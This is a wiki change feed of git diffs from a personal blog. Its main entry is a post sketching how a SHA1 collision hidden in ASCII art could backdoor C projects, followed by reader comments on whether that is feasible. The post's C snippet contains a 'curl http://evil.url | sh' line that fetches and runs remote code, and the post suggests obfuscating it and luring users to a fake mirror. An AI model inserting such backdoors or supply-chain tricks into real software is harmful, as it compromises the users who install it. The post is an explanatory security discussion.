Recent changes to this wiki:

fix
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
index 1a2b072..b3b352d 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
@@ -1,5 +1,5 @@
 [[!comment format=mdwn
- username="mail@45651620a210591000202a17a15b298f81c5f682"
+ username="nomeata@45651620a210591000202a17a15b298f81c5f682"
  nickname="nomeata"
  avatar="http://cdn.libravatar.org/avatar/5823d09208b1e4b63bbfcd189492032c"
  subject="comment 5"

fix name
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
index de537e0..1a2b072 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
@@ -1,6 +1,6 @@
 [[!comment format=mdwn
  username="mail@45651620a210591000202a17a15b298f81c5f682"
- nickname="mail"
+ nickname="nomeata"
  avatar="http://cdn.libravatar.org/avatar/5823d09208b1e4b63bbfcd189492032c"
  subject="comment 5"
  date="2017-02-24T21:11:50Z"
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
index 005f6c0..2d63776 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
@@ -3,7 +3,7 @@
  subject="""Re: comment 5"""
  date="2017-02-25T00:08:27Z"
  content="""
-@mail, I'm sure it would be harder to limit the collision to printable
+@nomeata, I'm sure it would be harder to limit the collision to printable
 characters. How hard I don't know (even after reading the paper).
 
 AIUI, they're using a SAT solver; it might be that it could be modified

fix
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment
deleted file mode 100644
index 3778e57..0000000
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment
+++ /dev/null
@@ -1,15 +0,0 @@
-[[!comment format=mdwn
- username="joey"
- subject="""Re: comment 3"""
- date="2017-02-25T00:08:27Z"
- content="""
-@tanguy, I'm sure it would be harder to limit the collision to printable
-characters. How hard I don't know (even after reading the paper).
-
-AIUI, they're using a SAT solver; it might be that it could be modified
-to remove solutions that use unprintable characters, and it might only have
-to work a "little" harder.
-
-Or it might take the obvious worst case of needing to run the collision
-generator repeatedly until it finally finds a suitable collision.
-"""]]
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment
deleted file mode 100644
index aac2423..0000000
--- a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment
+++ /dev/null
@@ -1,15 +0,0 @@
-[[!comment format=mdwn
- username="joey"
- subject="""comment 2"""
- date="2017-02-25T00:11:42Z"
- content="""
-@tanguy sorry, you're entirely wrong.
-
-Once the common prefix and the collision data have been fed into SHA1,
-both the "good" and "bad" SHA1 calculations have the same internal
-state. So, any common suffix after that will result in the same SHA1.
-
-If you don't believe me (or the paper that says that same thing in a
-more mathy way), you can easily verify this with the published
-SHA1 collision files.
-"""]]
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
new file mode 100644
index 0000000..005f6c0
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_6_8912f98a82c8e523e08e9df72021bb4d._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""Re: comment 5"""
+ date="2017-02-25T00:08:27Z"
+ content="""
+@mail, I'm sure it would be harder to limit the collision to printable
+characters. How hard I don't know (even after reading the paper).
+
+AIUI, they're using a SAT solver; it might be that it could be modified
+to remove solutions that use unprintable characters, and it might only have
+to work a "little" harder.
+
+Or it might take the obvious worst case of needing to run the collision
+generator repeatedly until it finally finds a suitable collision.
+"""]]
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_7_e2018489aebc68ab771ceee72cba12ef._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_7_e2018489aebc68ab771ceee72cba12ef._comment
new file mode 100644
index 0000000..6d42dc1
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_7_e2018489aebc68ab771ceee72cba12ef._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""Re: Common prefix and suffix"""
+ date="2017-02-25T00:11:42Z"
+ content="""
+@tanmail sorry, you're entirely wrong.
+
+Once the common prefix and the collision data have been fed into SHA1,
+both the "good" and "bad" SHA1 calculations have the same internal
+state. So, any common suffix after that will result in the same SHA1.
+
+If you don't believe me (or the paper that says that same thing in a
+more mathy way), you can easily verify this with the published
+SHA1 collision files.
+"""]]

comment
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment
new file mode 100644
index 0000000..3778e57
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_1_8912f98a82c8e523e08e9df72021bb4d._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""Re: comment 3"""
+ date="2017-02-25T00:08:27Z"
+ content="""
+@tanguy, I'm sure it would be harder to limit the collision to printable
+characters. How hard I don't know (even after reading the paper).
+
+AIUI, they're using a SAT solver; it might be that it could be modified
+to remove solutions that use unprintable characters, and it might only have
+to work a "little" harder.
+
+Or it might take the obvious worst case of needing to run the collision
+generator repeatedly until it finally finds a suitable collision.
+"""]]
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment
new file mode 100644
index 0000000..aac2423
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb/comment_2_e2018489aebc68ab771ceee72cba12ef._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 2"""
+ date="2017-02-25T00:11:42Z"
+ content="""
+@tanguy sorry, you're entirely wrong.
+
+Once the common prefix and the collision data have been fed into SHA1,
+both the "good" and "bad" SHA1 calculations have the same internal
+state. So, any common suffix after that will result in the same SHA1.
+
+If you don't believe me (or the paper that says that same thing in a
+more mathy way), you can easily verify this with the published
+SHA1 collision files.
+"""]]

Added a comment
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
new file mode 100644
index 0000000..de537e0
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_5_774a0e070de61e54b1f2970e75bfd881._comment
@@ -0,0 +1,9 @@
+[[!comment format=mdwn
+ username="mail@45651620a210591000202a17a15b298f81c5f682"
+ nickname="mail"
+ avatar="http://cdn.libravatar.org/avatar/5823d09208b1e4b63bbfcd189492032c"
+ subject="comment 5"
+ date="2017-02-24T21:11:50Z"
+ content="""
+Getting a collision that has a certain form (valid ASCII, no `\`, for example) is, AFAIK, much harder than a general collision. I wanted to use a MD5 collision to break Haskell’s type safety via `Typeable`, but failed because of that. Also, would the prefix have to have a certain length?
+"""]]

Added a comment: Common prefix and suffix
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb._comment
new file mode 100644
index 0000000..d20d624
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_4_ea08deb4fdfeb087703919bdec0157eb._comment
@@ -0,0 +1,16 @@
+[[!comment format=mdwn
+ username="tanguy+joeyh.name@ee567b4e84a07a6cf453eb24b4e6a9bd62ed3a55"
+ nickname="tanguy+joeyh.name"
+ avatar="http://cdn.libravatar.org/avatar/b9815e028ba1e10b8bd4da99ce55f10d"
+ subject="Common prefix and suffix"
+ date="2017-02-24T15:54:12Z"
+ content="""
+Hello,
+
+I do not think your idea is applicable as it is, because what you are using here is two files, with a variable part (the first line of ASCII art), a common prefix (everything before that line), but also a common suffix (everything after that line). If your variable part is designed to that the concatenation of the common prefix and that part gives the same hash with the two versions, that will not be the case for the concatenation of the common prefix, that part and the common suffix. Therefore, the two versions of the complete files with not have the same hash, only their first three lines do, but nobody verifies files integrity by taking the hash of its first three lines…
+
+It may be possible to mount such an attack, but I think it would be quite more complicated…
+
+
+
+"""]]

response
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_3_52741a8acfa9b23cd8154f29bf51a007._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_3_52741a8acfa9b23cd8154f29bf51a007._comment
new file mode 100644
index 0000000..514bbc9
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_3_52741a8acfa9b23cd8154f29bf51a007._comment
@@ -0,0 +1,19 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 3"""
+ date="2017-02-24T13:37:09Z"
+ content="""
+As far as I know, you do not need a 192 byte prefix, it should be able to
+be any length you choose. "192" does not appear in the paper. The 192 bytes
+that appear before the good/bad chunk in the SHA1 colliding pdfs consists
+of the regular header of a pdf document. A prefix consisting of some C
+code would work just as well.
+
+To make files that result in colliding git blobs, one only has to add at
+the front of the above prefix eg "blob 5000\0". The SHA1 collision
+generation attack then proceeds as normal. Once you have its results, you
+just strip that blob prefix from them, pad them up to the selected size of
+5000 (eg by adding more common C code at the end), to get files that can be
+checked into git and will yeild colliding blobs. The need for the file size
+to remain fixed is the only real complication here.
+"""]]

Added a comment: Prefix
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_2_678f2565ef16c063364d3e0226cd2597._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_2_678f2565ef16c063364d3e0226cd2597._comment
new file mode 100644
index 0000000..2005e46
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_2_678f2565ef16c063364d3e0226cd2597._comment
@@ -0,0 +1,18 @@
+[[!comment format=mdwn
+ username="tv.joeyh.name@6b808ef7d0c5714777f18c602c7ac05f95915fc9"
+ nickname="tv.joeyh.name"
+ avatar="http://cdn.libravatar.org/avatar/378df8f472fd622f763df48781b434e2"
+ subject="Prefix"
+ date="2017-02-24T07:44:20Z"
+ content="""
+Hello Joey,
+
+neat post.
+As far as I can tell, you also need to get the SHA calculation in the proper state, though
+For example, just the two different string parts will not compare equal, you need the 192 bytes of prefix, too. Also, you cannot prefix the blobs with a common prefix and get the same result.
+So I would think that there is still significant \"cryptographic\" effort needed to apply this to git.
+
+Best regards
+
+Thomas
+"""]]

comment
diff --git a/blog/entry/SHA1_collision_via_ASCII_art/comment_1_ad0569164a0d9a85fce08600802ebf92._comment b/blog/entry/SHA1_collision_via_ASCII_art/comment_1_ad0569164a0d9a85fce08600802ebf92._comment
new file mode 100644
index 0000000..15f6056
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art/comment_1_ad0569164a0d9a85fce08600802ebf92._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 1"""
+ date="2017-02-24T01:48:08Z"
+ content="""
+	misterbonnie             7*yLN#!NOK
+	misterbonnie             mFMC^&*FMM'
+	misterbonnie             | *'     _\
+	misterbonnie             |  =|MM|\MM  but i like
+	misterbonnie              \V    c_)|   putting ascii art
+	misterbonnie               |\   __ /   in my code :(
+	misterbonnie               |    __/
+	misterbonnie               \     |
+	misterbonnie                \ 
+"""]]

improve
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
index c0e7715..d67a70b 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art.mdwn
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -63,7 +63,9 @@ file, like this:
 	3*/7N  /.V \
 	3*\\7N'/NO@ \
 	7*y7N#!NOX";
-	/* We had to escape backslashes above to make it a valid C string. */
+	/* We had to escape backslashes above to make it a valid C string.
+	 * Run program with --easter-egg to see it in all its glory.
+	 */
 
 	/* Call this at the top of main() */
 	check_display_easter_egg (char **argv) {

really fix mdwn
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
index c22688c..c0e7715 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art.mdwn
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -39,31 +39,31 @@ line is.
 Quick demo from a not very artistic ASCII artist, of the first 10th of
 such a picture based on the "good" line above:
 
-        7*yLN#!NOK
-        3*\LN'\NO@
-        3*/LN  \.A
-        5*\LN   \.
-        >=======:)
-        5*\7N   /.
-        3*/7N  /.V
-        3*\7N'/NO@
-        7*y7N#!NOX
+	7*yLN#!NOK
+	3*\LN'\NO@
+	3*/LN  \.A
+	5*\LN   \.
+	>=======:)
+	5*\7N   /.
+	3*/7N  /.V
+	3*\7N'/NO@
+	7*y7N#!NOX
 
 Now, take your ASCII art and embed it in a multiline quote in a C source
 file, like this:
 
-        /* ASCII art for easter egg. */
-        char *amazing_ascii_art="\
-        7*yLN#!NOK \
-        3*\\LN'\\NO@ \
-        3*/LN  \\.A \ 
-        5*\\LN   \\. \
-        >=======:) \
-        5*\\7N   /. \
-        3*/7N  /.V \
-        3*\\7N'/NO@ \
-        7*y7N#!NOX";
-        /* We had to escape backslashes above to make it a valid C string. */
+	/* ASCII art for easter egg. */
+	char *amazing_ascii_art="\
+	7*yLN#!NOK \
+	3*\\LN'\\NO@ \
+	3*/LN  \\.A \ 
+	5*\\LN   \\. \
+	>=======:) \
+	5*\\7N   /. \
+	3*/7N  /.V \
+	3*\\7N'/NO@ \
+	7*y7N#!NOX";
+	/* We had to escape backslashes above to make it a valid C string. */
 
 	/* Call this at the top of main() */
 	check_display_easter_egg (char **argv) {

typo
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
index d94ede8..c22688c 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art.mdwn
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -86,7 +86,7 @@ different programs.
 
 Once a project contains the first 3 lines of the file, followed by
 anything at all, it contains a SHA1 collision, from which you can generate
-the bad version of by swapping in the bad data chuck. You can then
+the bad version by swapping in the bad data chuck. You can then
 replace the good file with the bad version here and there, and noone
 will be the wiser (except the easter egg will display the "bad" first line
 before it roots them).

fix markdown
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
index b804108..d94ede8 100644
--- a/blog/entry/SHA1_collision_via_ASCII_art.mdwn
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -39,7 +39,7 @@ line is.
 Quick demo from a not very artistic ASCII artist, of the first 10th of
 such a picture based on the "good" line above:
 
-	7*yLN#!NOK
+        7*yLN#!NOK
         3*\LN'\NO@
         3*/LN  \.A
         5*\LN   \.
@@ -47,14 +47,14 @@ such a picture based on the "good" line above:
         5*\7N   /.
         3*/7N  /.V
         3*\7N'/NO@
-	7*y7N#!NOX
+        7*y7N#!NOX
 
 Now, take your ASCII art and embed it in a multiline quote in a C source
 file, like this:
 
-	/* ASCII art for easter egg. */
-	char *amazing_ascii_art="\
-	7*yLN#!NOK \
+        /* ASCII art for easter egg. */
+        char *amazing_ascii_art="\
+        7*yLN#!NOK \
         3*\\LN'\\NO@ \
         3*/LN  \\.A \ 
         5*\\LN   \\. \
@@ -62,8 +62,8 @@ file, like this:
         5*\\7N   /. \
         3*/7N  /.V \
         3*\\7N'/NO@ \
-	7*y7N#!NOX";
-	/* We had to escape backslashes above to make it a valid C string. */
+        7*y7N#!NOX";
+        /* We had to escape backslashes above to make it a valid C string. */
 
 	/* Call this at the top of main() */
 	check_display_easter_egg (char **argv) {

blog update
diff --git a/blog/entry/SHA1_collision_via_ASCII_art.mdwn b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
new file mode 100644
index 0000000..b804108
--- /dev/null
+++ b/blog/entry/SHA1_collision_via_ASCII_art.mdwn
@@ -0,0 +1,111 @@
+Happy [SHA1 collision](https://shattered.io/) day everybody!
+
+If you extract the differences between the good.pdf and bad.pdf
+attached to [the paper](https://shattered.io/static/shattered.pdf),
+you'll find it all comes down to a small ~128 byte chunk of
+random-looking binary data that varies between the files.
+
+The SHA1 attack announced today is a common-prefix attack. The common
+prefix that we will use is this:
+
+	/* ASCII art for easter egg. */
+	char *amazing_ascii_art="\
+
+(To be extra sneaky, you can add a git blob object header to that prefix
+before calculating the collisions. Doing so will make the SHA1 that git
+generates when checking in the colliding file be the thing that collides.
+This makes it easier to swap in the bad file later on, because you can
+publish a git repository containing it, and trick people into using that
+repository. ("I put a mirror on github!") The developers of the program
+will have the good version in their repositories and not notice that users
+are getting the bad version.)
+
+Suppose that the attack was able to find collisions using only printable
+ASCII characters when calculating those chunks.
+
+The "good" data chunk might then look like this:
+
+	7*yLN#!NOKj@{FPKW".<i+sOCsx9QiFO0UR3ES*Eh]g6r/anP=bZ6&IJ#cOS.w;oJkVW"<*.!,qjRht?+^=^/Q*Is0K>6F)fc(ZS5cO#"aEavPLI[oI(kF_l!V6ycArQ
+
+And the "bad" data chunk like this:
+
+	9xiV^Ksn=<A!<^}l4~`uY2x8krnY@JA<<FA0Z+Fw!;UqC(1_ZA^fu#e}Z>w_/S?.5q^!WY7VE>gXl.M@d6]a*jW1eY(Qw(r5(rW8G)?Bt3UT4fas5nphxWPFFLXxS/xh
+
+Now we need an ASCII artist. This could be a human, or it could be a
+machine. The artist needs to make an ASCII art where the first line
+is the good chunk, and the rest of the lines obfuscate how random the first
+line is.
+
+Quick demo from a not very artistic ASCII artist, of the first 10th of
+such a picture based on the "good" line above:
+
+	7*yLN#!NOK
+        3*\LN'\NO@
+        3*/LN  \.A
+        5*\LN   \.
+        >=======:)
+        5*\7N   /.
+        3*/7N  /.V
+        3*\7N'/NO@
+	7*y7N#!NOX
+
+Now, take your ASCII art and embed it in a multiline quote in a C source
+file, like this:
+
+	/* ASCII art for easter egg. */
+	char *amazing_ascii_art="\
+	7*yLN#!NOK \
+        3*\\LN'\\NO@ \
+        3*/LN  \\.A \ 
+        5*\\LN   \\. \
+        >=======:) \
+        5*\\7N   /. \
+        3*/7N  /.V \
+        3*\\7N'/NO@ \
+	7*y7N#!NOX";
+	/* We had to escape backslashes above to make it a valid C string. */
+
+	/* Call this at the top of main() */
+	check_display_easter_egg (char **argv) {
+		if (strcmp(argv[1], "--easter-egg") == 0)
+			printf(amazing_ascii_art);
+		if (amazing_ascii_art[0] == "9")
+			system("curl http://evil.url | sh");
+	}
+
+Now, you need a C ofuscation person, to make that backdoor a little less
+obvious. (Hint: Add code to to fix the newlines, paint additional
+ASCII sprites over top of the static art, etc, add animations, and bury
+the shellcode in there.) 
+
+After a little work, you'll have a C file that any project would
+like to add, to be able to display a great easter egg ASCII art. Submit it
+to a project. Submit different versions of it to 100 projects! Everything
+after line 3 can be edited to make lots of different versions targeting
+different programs.
+
+Once a project contains the first 3 lines of the file, followed by
+anything at all, it contains a SHA1 collision, from which you can generate
+the bad version of by swapping in the bad data chuck. You can then
+replace the good file with the bad version here and there, and noone
+will be the wiser (except the easter egg will display the "bad" first line
+before it roots them).
+
+Now, how much more expensive would this be than today's SHA1 attack? It
+needs a way to generate collisions using only printable ASCII. Whether that
+is feasible depends on the implementation details of the SHA1 attack, and I
+don't really know. I should stop writing this blog post and read the rest
+of the paper.
+
+You can pick either of these two lessons to take away:
+
+1. ASCII art in code is evil and unsafe. Avoid it at any cost. `apt-get moo`
+
+2. Git's security is getting broken to the point that ASCII art
+   (and a few hundred thousand dollars) is enough to defeat it.
+
+----
+
+My work today investigating ways to apply the SHA1 collision to git
+repos (not limited to this blog post) was sponsored by Thomas Hochstein
+on Patreon.

response
diff --git a/blog/entry/p2p_dreams/comment_3_e540a2d14a7adbc71aeec49646424f0f._comment b/blog/entry/p2p_dreams/comment_3_e540a2d14a7adbc71aeec49646424f0f._comment
new file mode 100644
index 0000000..2850485
--- /dev/null
+++ b/blog/entry/p2p_dreams/comment_3_e540a2d14a7adbc71aeec49646424f0f._comment
@@ -0,0 +1,12 @@
+[[!comment format=mdwn
+ username="joey"
+ subject="""comment 3"""
+ date="2017-02-23T21:05:39Z"
+ content="""
+@Joachim I was aware of haskell-tor when I built this. I chose not to use
+it for a bunch of reasons including,
+it does not suppport tor hidden services,
+it's not been peer reviewed,
+tor has a much more active development community that's working on a next
+generation of hidden services amoung other things.
+"""]]

Added a comment: Using haskell-tor
diff --git a/blog/entry/p2p_dreams/comment_2_97029d4aea892d6a7f262a9d74a3e775._comment b/blog/entry/p2p_dreams/comment_2_97029d4aea892d6a7f262a9d74a3e775._comment
new file mode 100644
index 0000000..3afcd69
--- /dev/null
+++ b/blog/entry/p2p_dreams/comment_2_97029d4aea892d6a7f262a9d74a3e775._comment
@@ -0,0 +1,15 @@
+[[!comment format=mdwn
+ username="mail@45651620a210591000202a17a15b298f81c5f682"
+ nickname="mail"
+ avatar="http://cdn.libravatar.org/avatar/5823d09208b1e4b63bbfcd189492032c"
+ subject="Using haskell-tor"
+ date="2017-02-22T20:16:22Z"
+ content="""
+Hi,
+
+instead of relying on a system installation of tor, have you considered using tor as a library, maybe using the bindings provided by Galois: https://github.com/GaloisInc/haskell-tor
+
+You might also be interested in how this Tor-Hidden-Service based instant messenger does it: https://ricochet.im/
+
+Joachim
+"""]]

blog update
diff --git a/blog/entry/early_spring.mdwn b/blog/entry/early_spring.mdwn
new file mode 100644
index 0000000..efd371f
--- /dev/null
+++ b/blog/entry/early_spring.mdwn
@@ -0,0 +1,21 @@
+Sun is setting after 7 (in the [[JEST TZ|howto_create_your_own_time_zone]]);
+it's early spring. Batteries are generally staying above 11 volts, so it's
+time to work on the porch (on warmer days), running the inverter and
+spinning up disc drives that have been mostly off since fall. Back to
+leaving the router on overnight so my laptop can sync up before I wake up.
+
+Not enough power yet to run electric lights all evening, and there's still
+a risk of a cloudy week interrupting the climb back up to plentiful power.
+It's happened to me a couple times before.
+
+Also, turned out that both of my laptop DC-DC power supplies developed
+partial shorts in their cords around the same time. So at first I thought
+it was some problem with the batteries or laptop, but eventually figured it
+out and got them replaced. (This may have contributed the [[the_cliff]]
+earier; seemed to be worst when house voltage was low.)
+
+Soon, 6 months of more power than I can use..
+
+Previously: [[battery_bank_refresh]] [[late_summer]] [[the_cliff]]
+
+[[!tag solar]]

add news item for github-backup 1.20170221
diff --git a/code/github-backup/news/version_1.20160511.mdwn b/code/github-backup/news/version_1.20160511.mdwn
deleted file mode 100644
index 45896fa..0000000
--- a/code/github-backup/news/version_1.20160511.mdwn
+++ /dev/null
@@ -1,4 +0,0 @@
-github-backup 1.20160511 released with [[!toggle text="these changes"]]
-[[!toggleable text="""
-   * Fix build with directory-1.2.6.2.
-   * github-backup.cabal: Add Setup-Depends."""]]
\ No newline at end of file
diff --git a/code/github-backup/news/version_1.20170221.mdwn b/code/github-backup/news/version_1.20170221.mdwn
new file mode 100644
index 0000000..9ff447e
--- /dev/null
+++ b/code/github-backup/news/version_1.20170221.mdwn
@@ -0,0 +1,7 @@
+github-backup 1.20170221 released with [[!toggle text="these changes"]]
+[[!toggleable text="""
+   * Updated to use github-0.15.
+   * Due to a regression in github-0.15, the pull request list is retrieved
+     without authentication.
+   * Various updates to internal git and utility libraries shared
+     with git-annex."""]]
\ No newline at end of file

fix blog post formatting
diff --git a/blog/entry/moving_my_email_archives_and_packages_to_git-annex.mdwn b/blog/entry/moving_my_email_archives_and_packages_to_git-annex.mdwn
index 37daf6f..19aea34 100644
--- a/blog/entry/moving_my_email_archives_and_packages_to_git-annex.mdwn
+++ b/blog/entry/moving_my_email_archives_and_packages_to_git-annex.mdwn
@@ -63,7 +63,7 @@ is necessary for mairix to realize they're compressed.
 I'd evolved a complex and fragile chain of personal `apt` repositories
 to hold Debian packages I've released. I recently got rid of the mess,
 which looked like this: `dput` &rarr; local `mini-dinstall` repo &rarr;
-dput` &rarr; `mini-dinstall` repo on my server &rarr; `dput` &rarr; Debian
+`dput` &rarr; `mini-dinstall` repo on my server &rarr; `dput` &rarr; Debian
 
 The point of all that was that I could "upload" a package locally
 while offline and batch transfer it later. And I had a local and

update
diff --git a/code/debug-me.mdwn b/code/debug-me.mdwn
index c00b324..6edabd4 100644
--- a/code/debug-me.mdwn
+++ b/code/debug-me.mdwn
@@ -58,8 +58,8 @@ to run `debug-me` on another computer, to record the developer activity proof
 there. This way a very Evil developer can't delete the user's only copy of
 the proof of their Evil.
 
-The server can also record the session. This doesn't help if the
-developer is running the server. But if there are multiple servers
+The server can also record the session. This doesn't help preserve proof 
+if the developer is running the server. But if there are multiple servers
 run by different people, the user's client could send the session to
 several of them to get it recorded.
 
@@ -90,7 +90,8 @@ and entered a given input.
 An asynchronous input must include the hash of the previous input.
 Asynchronous inputs are only used for sending signals, eg ctrl-c, not for
 sending keystrokes. This allows interruption of a running command at any
-time, without needing to catch up to its most recent output.
+time, without needing to catch up to its most recent output. (Especially
+useful if a buggy program is printing out a lot of output.)
 
 It might seem like a good idea for a client to resend a rejected input,
 rebasing it on top of the new output. But, if a client did this, its user
@@ -113,9 +114,14 @@ For example:
 	3. output "t" (previous: 2)
 	4. input "o" (previous: 1, echo: "t") -- valid because "t" = 3
 	5. output "o" (previous: 4)
-	6. input "p" (1, echo: "to") -- valid because "to" = 3+5
+	6. input "p" (previous: 1, echo: "to") -- valid because "to" = 3+5
 	7. output: "p" (previous: 6)
 
+This should be sufficient for shell access, and for using some editors.
+However, editors like vim that update a cursor position indicator as
+text is added will often have inputs rejected. debug-me could optionally
+beep or flash the screen when an input has been rejected.
+
 #### interface
 
 Interface is as close to a ssh session as possible.
@@ -124,7 +130,7 @@ The user can input stuff, just as well as the developer.
 
 It can be important to match terminal sizes, to make sure the developer
 is seeing same thing as the user. `debug-me` can assist with this by
-drawing a box and having the developer resize the terminal to enclose it,
+drawing a box and having the developer resize their terminal to enclose it,
 when the terminal sizes vary.
 
 It would be possible to have the user manually vet inputs and outputs,

layut
diff --git a/blog/entry/Presenting_at_LibrePlanet_2017.mdwn b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
index b751323..6cdc637 100644
--- a/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
+++ b/blog/entry/Presenting_at_LibrePlanet_2017.mdwn
@@ -8,6 +8,7 @@ After attending for four years, I finally thought it was
 time to perhaps speak at it.
 
 <blockquote>
+<p>
       Four keynote speakers will anchor the event. Kade Crockford,
       director of the Technology for Liberty program of the American
       Civil Liberties Union of Massachusetts, will kick things off on
@@ -16,7 +17,8 @@ time to perhaps speak at it.
       Software Foundation president Richard Stallman will present the 
       Free Software Awards and discuss pressing threats and important
       opportunities for software freedom.
-
+</p>
+<p>
       Day two will begin with Cory Doctorow, science fiction author and
       special consultant to the Electronic Frontier Foundation,
       revealing how to eradicate all Digital Restrictions Management
@@ -24,17 +26,20 @@ time to perhaps speak at it.
       Harihareswara, leader, speaker, and advocate for free software and
       communities, giving a talk entitled "Lessons, Myths, and Lenses:
       What I Wish I'd Known in 1998."
-
+</p>
+<p>
       That's not all. We'll hear about the GNU philosophy from Marianne
       Corvellec of the French free software organization April, <b>Joey
       Hess will touch on encryption with a talk about backing up your
       GPG keys</b>, and Denver Gingerich will update us on a crucial free
       software need: the mobile phone.
-
+</p>
+<p>
       Others will look at ways to grow the free software movement:
       through cross-pollination with other activist movements, removal
       of barriers to free software use and contribution, and new ideas
       for free software as paid work.
+</p>
 </blockquote>
 
 -- [Here's a sneak peek at LibrePlanet 2017: Register today!](https://www.fsf.org/blogs/community/heres-a-sneak-peek-at-libreplanet-2017-register-today)

blog update
